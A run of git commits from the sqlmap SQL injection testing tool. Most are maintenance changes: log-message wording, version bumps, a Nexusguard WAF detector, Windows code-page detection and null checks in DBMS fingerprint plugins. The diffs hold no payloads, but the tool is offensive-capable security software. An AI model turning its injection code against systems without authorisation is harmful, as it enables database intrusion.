"..", "sqlmap.py")), address, port, options) From 23d0a04f322d93790b5d15c3bc115a80a51b5052 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 21 May 2019 11:01:08 +0200 Subject: [PATCH 389/800] Trivial update (space check for --suffix) --- lib/core/agent.py | 3 +++ lib/core/settings.py | 2 +- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 129d4e70bf1..1a2cf9ce823 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -298,6 +298,9 @@ def suffixQuery(self, expression, comment=None, suffix=None, where=None): pass elif suffix and not comment: + if re.search(r"\w\Z", expression) and re.search(r"\A\w", suffix): + expression += " " + expression += suffix.replace('\\', BOUNDARY_BACKSLASH_MARKER) return re.sub(r";\W*;", ";", expression) diff --git a/lib/core/settings.py b/lib/core/settings.py index 09bf36e8558..cdeb5e0754b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.120" +VERSION = "1.3.5.121" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 36f2bb5390df1fddde815f9fda0a386d80e29b8c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 21 May 2019 12:07:19 +0200 Subject: [PATCH 390/800] Minor beautification (e.g. HTTP header cases like Host parameter 'Host') --- lib/controller/checks.py | 27 ++++++++++++--------------- lib/controller/controller.py | 26 ++++++++++++-------------- lib/core/common.py | 4 ++-- lib/core/settings.py | 2 +- lib/core/target.py | 2 +- 5 files changed, 28 insertions(+), 33 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index ff87aa5a28d..acef09e326e 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -575,7 +575,7 @@ def genCmpPayload(): conf.string = candidate injectable = True - infoMsg = "%s parameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % (paramType, parameter, title, repr(conf.string).lstrip('u').strip("'")) + infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'")) logger.info(infoMsg) break @@ -585,7 +585,7 @@ def genCmpPayload(): if all((falseCode, trueCode)) and falseCode != trueCode: conf.code = trueCode - infoMsg = "%s parameter '%s' appears to be '%s' injectable (with --code=%d)" % (paramType, parameter, title, conf.code) + infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --code=%d)" % ("%s " % paramType if paramType != parameter else "", parameter, title, conf.code) logger.info(infoMsg) else: trueSet = set(extractTextTagContent(trueRawResponse)) @@ -610,7 +610,7 @@ def genCmpPayload(): conf.string = candidate - infoMsg = "%s parameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % (paramType, parameter, title, repr(conf.string).lstrip('u').strip("'")) + infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'")) logger.info(infoMsg) if not any((conf.string, conf.notString)): @@ -624,11 +624,11 @@ def genCmpPayload(): conf.notString = candidate - infoMsg = "%s parameter '%s' appears to be '%s' injectable (with --not-string=\"%s\")" % (paramType, parameter, title, repr(conf.notString).lstrip('u').strip("'")) + infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --not-string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.notString).lstrip('u').strip("'")) logger.info(infoMsg) if not any((conf.string, conf.notString, conf.code)): - infoMsg = "%s parameter '%s' appears to be '%s' injectable " % (paramType, parameter, title) + infoMsg = "%sparameter '%s' appears to be '%s' injectable " % ("%s " % paramType if paramType != parameter else "", parameter, title) singleTimeLogMessage(infoMsg) # In case of error-based SQL injection @@ -646,7 +646,7 @@ def genCmpPayload(): result = output == "1" if result: - infoMsg = "%s parameter '%s' is '%s' injectable " % (paramType, parameter, title) + infoMsg = "%sparameter '%s' is '%s' injectable " % ("%s " % paramType if paramType != parameter else "", parameter, title) logger.info(infoMsg) injectable = True @@ -675,7 +675,7 @@ def genCmpPayload(): trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False) if trueResult: - infoMsg = "%s parameter '%s' appears to be '%s' injectable " % (paramType, parameter, title) + infoMsg = "%sparameter '%s' appears to be '%s' injectable " % ("%s " % paramType if paramType != parameter else "", parameter, title) logger.info(infoMsg) injectable = True @@ -714,7 +714,7 @@ def genCmpPayload(): reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix) if isinstance(reqPayload, six.string_types): - infoMsg = "%s parameter '%s' is '%s' injectable" % (paramType, parameter, title) + infoMsg = "%sparameter '%s' is '%s' injectable" % ("%s " % paramType if paramType != parameter else "", parameter, title) logger.info(infoMsg) injectable = True @@ -1053,8 +1053,7 @@ def heuristicCheckSqlInjection(place, parameter): parseFilePaths(page) result = wasLastResponseDBMSError() - infoMsg = "heuristic (basic) test shows that %s parameter " % paramType - infoMsg += "'%s' might " % parameter + infoMsg = "heuristic (basic) test shows that %sparameter '%s' might " % ("%s " % paramType if paramType != parameter else "", parameter) def _(page): return any(_ in (page or "") for _ in FORMAT_EXCEPTION_STRINGS) @@ -1116,14 +1115,12 @@ def _(page): paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place if value.lower() in (page or "").lower(): - infoMsg = "heuristic (XSS) test shows that %s parameter " % paramType - infoMsg += "'%s' might be vulnerable to cross-site scripting (XSS) attacks" % parameter + infoMsg = "heuristic (XSS) test shows that %sparameter '%s' might be vulnerable to cross-site scripting (XSS) attacks" % ("%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) for match in re.finditer(FI_ERROR_REGEX, page or ""): if randStr1.lower() in match.group(0).lower(): - infoMsg = "heuristic (FI) test shows that %s parameter " % paramType - infoMsg += "'%s' might be vulnerable to file inclusion (FI) attacks" % parameter + infoMsg = "heuristic (FI) test shows that %sparameter '%s' might be vulnerable to file inclusion (FI) attacks" % ("%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) break @@ -1147,7 +1144,7 @@ def checkDynParam(place, parameter, value): paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place - infoMsg = "testing if %s parameter '%s' is dynamic" % (paramType, parameter) + infoMsg = "testing if %sparameter '%s' is dynamic" % ("%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) try: diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 632caed2027..655620942b8 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -498,7 +498,7 @@ def start(): if paramKey in kb.testedParams: testSqlInj = False - infoMsg = "skipping previously processed %s parameter '%s'" % (paramType, parameter) + infoMsg = "skipping previously processed %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) elif any(_ in conf.testParameter for _ in (parameter, removePostHintPrefix(parameter))): @@ -507,19 +507,19 @@ def start(): elif parameter in conf.rParam: testSqlInj = False - infoMsg = "skipping randomizing %s parameter '%s'" % (paramType, parameter) + infoMsg = "skipping randomizing %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) elif parameter in conf.skip or kb.postHint and parameter.split(' ')[-1] in conf.skip: testSqlInj = False - infoMsg = "skipping %s parameter '%s'" % (paramType, parameter) + infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) elif conf.paramExclude and (re.search(conf.paramExclude, parameter, re.I) or kb.postHint and re.search(conf.paramExclude, parameter.split(' ')[-1], re.I)): testSqlInj = False - infoMsg = "skipping %s parameter '%s'" % (paramType, parameter) + infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) elif conf.csrfToken and re.search(conf.csrfToken, parameter, re.I): @@ -532,23 +532,23 @@ def start(): elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or any(_ in parameter.lower() for _ in CSRF_TOKEN_PARAMETER_INFIXES) or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)): testSqlInj = False - infoMsg = "ignoring %s parameter '%s'" % (paramType, parameter) + infoMsg = "ignoring %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech or conf.skipStatic: check = checkDynParam(place, parameter, value) if not check: - warnMsg = "%s parameter '%s' does not appear to be dynamic" % (paramType, parameter) + warnMsg = "%sparameter '%s' does not appear to be dynamic" % ("%s " % paramType if paramType != parameter else "", parameter) logger.warn(warnMsg) if conf.skipStatic: - infoMsg = "skipping static %s parameter '%s'" % (paramType, parameter) + infoMsg = "skipping static %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) testSqlInj = False else: - infoMsg = "%s parameter '%s' appears to be dynamic" % (paramType, parameter) + infoMsg = "%sparameter '%s' appears to be dynamic" % ("%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) kb.testedParams.add(paramKey) @@ -563,12 +563,11 @@ def start(): if check != HEURISTIC_TEST.POSITIVE: if conf.smart or (kb.ignoreCasted and check == HEURISTIC_TEST.CASTED): - infoMsg = "skipping %s parameter '%s'" % (paramType, parameter) + infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) continue - infoMsg = "testing for SQL injection on %s " % paramType - infoMsg += "parameter '%s'" % parameter + infoMsg = "testing for SQL injection on %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) injection = checkSqlInjection(place, parameter, value) @@ -587,7 +586,7 @@ def start(): if not proceed: break - msg = "%s parameter '%s' " % (injection.place, injection.parameter) + msg = "%sparameter '%s' " % ("%s " % injection.place if injection.place != injection.parameter else "", injection.parameter) msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] " if not readInput(msg, default='N', boolean=True): @@ -596,8 +595,7 @@ def start(): kb.testedParams.add(paramKey) if not injectable: - warnMsg = "%s parameter '%s' does not seem to be " % (paramType, parameter) - warnMsg += "injectable" + warnMsg = "%sparameter '%s' does not seem to be injectable" % ("%s " % paramType if paramType != parameter else "", parameter) logger.warn(warnMsg) finally: diff --git a/lib/core/common.py b/lib/core/common.py index e3a21ef96bd..9ca883b0661 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -679,7 +679,7 @@ def walk(head, current=None): walk(deserialized) if candidates: - message = "it appears that provided value for %s parameter '%s' " % (place, parameter) + message = "it appears that provided value for %sparameter '%s' " % ("%s " % place if place != parameter else "", parameter) message += "is JSON deserializable. Do you want to inject inside? [y/N] " if readInput(message, default='N', boolean=True): @@ -692,7 +692,7 @@ def walk(head, current=None): pass _ = re.sub(regex, r"\g<1>%s\g<%d>" % (kb.customInjectionMark, len(match.groups())), testableParameters[parameter]) - message = "it appears that provided value for %s parameter '%s' " % (place, parameter) + message = "it appears that provided value for %sparameter '%s' " % ("%s " % place if place != parameter else "", parameter) message += "has boundaries. Do you want to inject inside? ('%s') [y/N] " % getUnicode(_) if readInput(message, default='N', boolean=True): diff --git a/lib/core/settings.py b/lib/core/settings.py index cdeb5e0754b..4f48b92a36f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.121" +VERSION = "1.3.5.122" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/target.py b/lib/core/target.py index 57cac840c7a..604818dd0f2 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -407,7 +407,7 @@ def process(match, repl): for parameter in conf.paramDict.get(place, {}): if any(parameter.lower().count(_) for _ in CSRF_TOKEN_PARAMETER_INFIXES): - message = "%s parameter '%s' appears to hold anti-CSRF token. " % (place, parameter) + message = "%sparameter '%s' appears to hold anti-CSRF token. " % ("%s " % place if place != parameter else "", parameter) message += "Do you want sqlmap to automatically update it in further requests? [y/N] " if readInput(message, default='N', boolean=True): From ea4052ec652be0e1dd28e577e31c341deed94947 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 21 May 2019 13:11:51 +0200 Subject: [PATCH 391/800] Implements #3689 --- lib/core/settings.py | 2 +- waf/nexusguard.py | 24 ++++++++++++++++++++++++ 2 files changed, 25 insertions(+), 1 deletion(-) create mode 100644 waf/nexusguard.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 4f48b92a36f..b5c8802a67a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.122" +VERSION = "1.3.5.123" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/waf/nexusguard.py b/waf/nexusguard.py new file mode 100644 index 00000000000..29b385a09bb --- /dev/null +++ b/waf/nexusguard.py @@ -0,0 +1,24 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "Nexusguard (Nexusguard Limited)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, _, _ = get_page(get=vector) + retval |= "

Powered by Nexusguard

" in (page or "") + retval |= re.search(r"speresources\.nexusguard\.com/wafpage/[^>]*#\d{3};", page or "") is not None + if retval: + break + + return retval From 688150cf6c384f9dec43e7b8bcf2dd7accd949e8 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 21 May 2019 14:18:14 +0200 Subject: [PATCH 392/800] Patch related to the #3453 --- lib/core/convert.py | 20 +++++++++++++++++++- lib/core/option.py | 1 + lib/core/patch.py | 2 ++ lib/core/settings.py | 2 +- 4 files changed, 23 insertions(+), 2 deletions(-) diff --git a/lib/core/convert.py b/lib/core/convert.py index 6f43205794c..7ea5baf021f 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -101,11 +101,29 @@ def filterNone(values): # Cross-referenced function def isListLike(value): # Cross-referenced function raise NotImplementedError +def shellExec(cmd): # Cross-referenced function + raise NotImplementedError + def stdoutEncode(value): value = value or "" + if IS_WIN and kb.get("codePage", -1) is None: + output = shellExec("chcp") + match = re.search(r": (\d{3,})", output or "") + + if match: + try: + candidate = "cp%s" % match.group(1) + codecs.lookup(candidate) + except LookupError: + pass + else: + kb.codePage = candidate + + kb.codePage = kb.codePage or "" + if isinstance(value, six.text_type) and PYVERSION < "3.6": - encoding = sys.stdout.encoding or UNICODE_ENCODING + encoding = kb.get("codePage") or sys.stdout.encoding or UNICODE_ENCODING while True: try: diff --git a/lib/core/option.py b/lib/core/option.py index 7228ba0bf02..78cd96e2913 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1872,6 +1872,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.chars.stop = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR) kb.chars.at, kb.chars.space, kb.chars.dollar, kb.chars.hash_ = ("%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, _, KB_CHARS_BOUNDARY_CHAR) for _ in randomStr(length=4, lowercase=True)) + kb.codePage = None kb.columnExistsChoice = None kb.commonOutputs = None kb.connErrorChoice = None diff --git a/lib/core/patch.py b/lib/core/patch.py index 18a68a6c710..ac7384332eb 100644 --- a/lib/core/patch.py +++ b/lib/core/patch.py @@ -24,6 +24,7 @@ from lib.core.common import isListLike from lib.core.common import singleTimeWarnMessage from lib.core.common import readInput +from lib.core.common import shellExec from lib.core.convert import stdoutEncode from lib.core.option import _setHTTPHandlers from lib.core.option import setVerbosity @@ -63,6 +64,7 @@ def resolveCrossReferences(): lib.core.common.getPageTemplate = getPageTemplate lib.core.convert.filterNone = filterNone lib.core.convert.isListLike = isListLike + lib.core.convert.shellExec = shellExec lib.core.convert.singleTimeWarnMessage = singleTimeWarnMessage lib.core.option._pympTempLeakPatch = pympTempLeakPatch lib.request.connect.setHTTPHandlers = _setHTTPHandlers diff --git a/lib/core/settings.py b/lib/core/settings.py index b5c8802a67a..e80e6bfa726 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.123" +VERSION = "1.3.5.124" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 2546022b11a2f84852acdbbeb07a7520a11d5a6c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 21 May 2019 14:37:55 +0200 Subject: [PATCH 393/800] Minor update --- lib/core/common.py | 9 +++++---- lib/core/convert.py | 3 ++- lib/core/settings.py | 5 ++++- 3 files changed, 11 insertions(+), 6 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 9ca883b0661..c6da1478dbc 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -133,6 +133,7 @@ from lib.core.settings import INFERENCE_UNKNOWN_CHAR from lib.core.settings import IP_ADDRESS_REGEX from lib.core.settings import ISSUES_PAGE +from lib.core.settings import IS_TTY from lib.core.settings import IS_WIN from lib.core.settings import LARGE_OUTPUT_THRESHOLD from lib.core.settings import LOCALHOST @@ -928,7 +929,7 @@ def setColor(message, color=None, bold=False, level=None, istty=None): retVal = message level = level or extractRegexResult(r"\[(?P%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message) - if message and getattr(LOGGER_HANDLER, "is_tty", False) or istty: # colorizing handler + if message and IS_TTY or istty: # colorizing handler if bold or color: retVal = colored(message, color=color, on_color=None, attrs=("bold",) if bold else None) elif level: @@ -1064,7 +1065,7 @@ def readInput(message, default=None, checkBatch=True, boolean=False): elif answer is None and retVal: retVal = "%s,%s" % (retVal, getUnicode(item, UNICODE_ENCODING)) - if message and getattr(LOGGER_HANDLER, "is_tty", False): + if message and IS_TTY: message = "\r%s" % message if retVal: @@ -1256,7 +1257,7 @@ def banner(): if not any(_ in sys.argv for _ in ("--version", "--api")) and not conf.get("disableBanner"): _ = BANNER - if not getattr(LOGGER_HANDLER, "is_tty", False) or "--disable-coloring" in sys.argv: + if not IS_TTY or "--disable-coloring" in sys.argv: _ = clearColors(_) elif IS_WIN: coloramainit() @@ -2168,7 +2169,7 @@ def clearConsoleLine(forceOutput=False): Clears current console line """ - if getattr(LOGGER_HANDLER, "is_tty", False): + if IS_TTY: dataToStdout("\r%s\r" % (" " * (getConsoleWidth() - 1)), forceOutput) kb.prependFlag = False diff --git a/lib/core/convert.py b/lib/core/convert.py index 7ea5baf021f..54aa4247115 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -20,6 +20,7 @@ from lib.core.data import conf from lib.core.data import kb from lib.core.settings import INVALID_UNICODE_PRIVATE_AREA +from lib.core.settings import IS_TTY from lib.core.settings import IS_WIN from lib.core.settings import NULL from lib.core.settings import PICKLE_PROTOCOL @@ -107,7 +108,7 @@ def shellExec(cmd): # Cross-referenced function def stdoutEncode(value): value = value or "" - if IS_WIN and kb.get("codePage", -1) is None: + if IS_WIN and IS_TTY and kb.get("codePage", -1) is None: output = shellExec("chcp") match = re.search(r": (\d{3,})", output or "") diff --git a/lib/core/settings.py b/lib/core/settings.py index e80e6bfa726..6dfadd00e94 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.124" +VERSION = "1.3.5.125" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -233,6 +233,9 @@ PYVERSION = sys.version.split()[0] IS_WIN = PLATFORM == "nt" +# Check if running in terminal +IS_TTY = os.isatty(sys.stdout.fileno()) + # DBMS system databases MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb") MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema", "sys") From d3225136e2ca935d25ff2a978dca3133d6aad3ec Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 21 May 2019 14:39:30 +0200 Subject: [PATCH 394/800] Minor patch (different drive letter) --- lib/core/settings.py | 2 +- sqlmap.py | 5 ++++- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 6dfadd00e94..4b77d87c9b9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.125" +VERSION = "1.3.5.126" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index ec7c2528f98..b812ac852fd 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -352,7 +352,10 @@ def main(): for match in re.finditer(r'File "(.+?)", line', excMsg): file_ = match.group(1) - file_ = os.path.relpath(file_, os.path.dirname(__file__)) + try: + file_ = os.path.relpath(file_, os.path.dirname(__file__)) + except ValueError: + pass file_ = file_.replace("\\", '/') if "../" in file_: file_ = re.sub(r"(\.\./)+", '/', file_) From 4e84b741efd62366c782e4b1178880372908c1c1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 22 May 2019 09:30:27 +0200 Subject: [PATCH 395/800] Fixes #3693 --- lib/core/settings.py | 2 +- plugins/dbms/mssqlserver/enumeration.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 4b77d87c9b9..34d803a4780 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.126" +VERSION = "1.3.5.127" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/mssqlserver/enumeration.py b/plugins/dbms/mssqlserver/enumeration.py index 8f606ee2fb1..e7a19564010 100644 --- a/plugins/dbms/mssqlserver/enumeration.py +++ b/plugins/dbms/mssqlserver/enumeration.py @@ -261,7 +261,7 @@ def searchTable(self): kb.hintValue = tbl foundTbls[db].append(tbl) - for db, tbls in foundTbls.items(): + for db, tbls in list(foundTbls.items()): if len(tbls) == 0: foundTbls.pop(db) From 3b7dd2c357ba92b3ac6e61254a2742b38f8ba078 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 22 May 2019 09:43:10 +0200 Subject: [PATCH 396/800] Fixes #3692 --- lib/core/settings.py | 2 +- plugins/dbms/access/fingerprint.py | 9 +++++---- plugins/dbms/db2/fingerprint.py | 6 ++++-- plugins/dbms/firebird/fingerprint.py | 9 +++++---- plugins/dbms/h2/fingerprint.py | 6 ++++-- plugins/dbms/hsqldb/fingerprint.py | 9 +++++---- plugins/dbms/informix/fingerprint.py | 6 ++++-- plugins/dbms/mysql/fingerprint.py | 9 +++++---- plugins/dbms/oracle/fingerprint.py | 6 ++++-- plugins/dbms/postgresql/fingerprint.py | 6 ++++-- plugins/dbms/sqlite/fingerprint.py | 6 ++++-- plugins/dbms/sybase/fingerprint.py | 6 ++++-- 12 files changed, 49 insertions(+), 31 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 34d803a4780..d3cd6bb2aaf 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.127" +VERSION = "1.3.5.128" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/access/fingerprint.py b/plugins/dbms/access/fingerprint.py index 339edba51ca..c604a22b990 100644 --- a/plugins/dbms/access/fingerprint.py +++ b/plugins/dbms/access/fingerprint.py @@ -131,11 +131,12 @@ def getFingerprint(self): if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") - if re.search(r"-log$", kb.data.banner): - banVer += ", logging enabled" + if banVer: + if re.search(r"-log$", kb.data.banner or ""): + banVer += ", logging enabled" - banVer = Format.getDbms([banVer]) - value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() diff --git a/plugins/dbms/db2/fingerprint.py b/plugins/dbms/db2/fingerprint.py index d286223193f..891510906f2 100644 --- a/plugins/dbms/db2/fingerprint.py +++ b/plugins/dbms/db2/fingerprint.py @@ -70,8 +70,10 @@ def getFingerprint(self): if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") - banVer = Format.getDbms([banVer]) - value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() diff --git a/plugins/dbms/firebird/fingerprint.py b/plugins/dbms/firebird/fingerprint.py index 96e287c2a51..055b63c6839 100644 --- a/plugins/dbms/firebird/fingerprint.py +++ b/plugins/dbms/firebird/fingerprint.py @@ -53,11 +53,12 @@ def getFingerprint(self): if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") - if re.search(r"-log$", kb.data.banner): - banVer += ", logging enabled" + if banVer: + if re.search(r"-log$", kb.data.banner or ""): + banVer += ", logging enabled" - banVer = Format.getDbms([banVer]) - value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() diff --git a/plugins/dbms/h2/fingerprint.py b/plugins/dbms/h2/fingerprint.py index 6b6353ecc3b..35cbbb688eb 100644 --- a/plugins/dbms/h2/fingerprint.py +++ b/plugins/dbms/h2/fingerprint.py @@ -45,8 +45,10 @@ def getFingerprint(self): if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") - banVer = Format.getDbms([banVer]) - value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() diff --git a/plugins/dbms/hsqldb/fingerprint.py b/plugins/dbms/hsqldb/fingerprint.py index 4b1245b40b0..a14644b1b5e 100644 --- a/plugins/dbms/hsqldb/fingerprint.py +++ b/plugins/dbms/hsqldb/fingerprint.py @@ -49,11 +49,12 @@ def getFingerprint(self): if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") - if re.search(r"-log$", kb.data.banner): - banVer += ", logging enabled" + if banVer: + if re.search(r"-log$", kb.data.banner or ""): + banVer += ", logging enabled" - banVer = Format.getDbms([banVer] if banVer else None) - value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() diff --git a/plugins/dbms/informix/fingerprint.py b/plugins/dbms/informix/fingerprint.py index a582a93d6a7..de57436899b 100644 --- a/plugins/dbms/informix/fingerprint.py +++ b/plugins/dbms/informix/fingerprint.py @@ -45,8 +45,10 @@ def getFingerprint(self): if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") - banVer = Format.getDbms([banVer]) - value += "\n%sbanner parsing 